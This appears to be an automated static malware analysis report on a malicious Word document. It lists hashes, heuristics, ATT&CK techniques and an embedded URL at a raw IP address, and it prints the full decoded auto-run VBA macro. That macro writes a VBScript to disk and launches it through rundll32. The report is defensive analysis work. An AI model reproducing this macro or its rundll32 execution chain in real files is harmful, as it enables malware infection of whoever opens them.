Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49a193afe2b75716…

MALICIOUS

Office (OLE)

285.5 KB Created: 2020-08-26 12:57:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: f9cac6a43d460d5afc7428a1014a59af SHA-1: e7ae3fe9226a646711c7b31593e05368b4395d2a SHA-256: 49a193afe2b75716f99338d1653dd321db5b0b4af3be050691605a861471be2e
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32

The sample contains a VBA macro that executes upon opening the document. This macro creates a folder 'c:\..\syslogs', writes a VBScript to 'c:\syslogs\fa.vbs', and then uses 'rundll32.exe' to execute the VBScript. The VBScript likely downloads a second-stage payload from the embedded URL, which is a critical step in the attack chain.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    RetPid.create "rundll32.exe zipfldr.dll,RouteTheCall c:\syslogs\fa.vbs", Null, Null, 0 + 0
Set FieldWord5 = ActiveDocument.Words(11)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set RetPid = GetObject(FieldWord1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://195.123.241.146/printable.docx In document text (OLE body)
    • https://www.nytimes.com/2020/08/26/us/three-shot-amid-protests-over-jacob-blake-shooting.html?action=click&module=Top%20Stories&pgtype=HomepageIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 972 bytes
SHA-256: 9ac6c18b17a8c470356a67df4b602db1adc30cf14c8ad4915fcf00187a8a4152
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Document1"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

Set n = New FileSystemObject
On Error Resume Next

Set FieldWord1 = ActiveDocument.Words(127)
Set FieldWord2 = ActiveDocument.Words(128)
Set FieldWord3 = ActiveDocument.Words(129)
Set FieldWord4 = ActiveDocument.Words(130)
Set FieldWord5 = ActiveDocument.Words(131)

n.CreateFolder "c:\..\syslogs"
FieldWord1 = FieldWord1 + FieldWord2 + FieldWord3 + FieldWord4 + FieldWord5

Set s = n.CreateTextFile("c:\syslogs\fa.vbs")
s.WriteLine (Right(Range.Text, 38934))

Set RetPid = GetObject(FieldWord1)

RetPid.create "rundll32.exe zipfldr.dll,RouteTheCall c:\syslogs\fa.vbs", Null, Null, 0 + 0
Set FieldWord5 = ActiveDocument.Words(11)
End Sub

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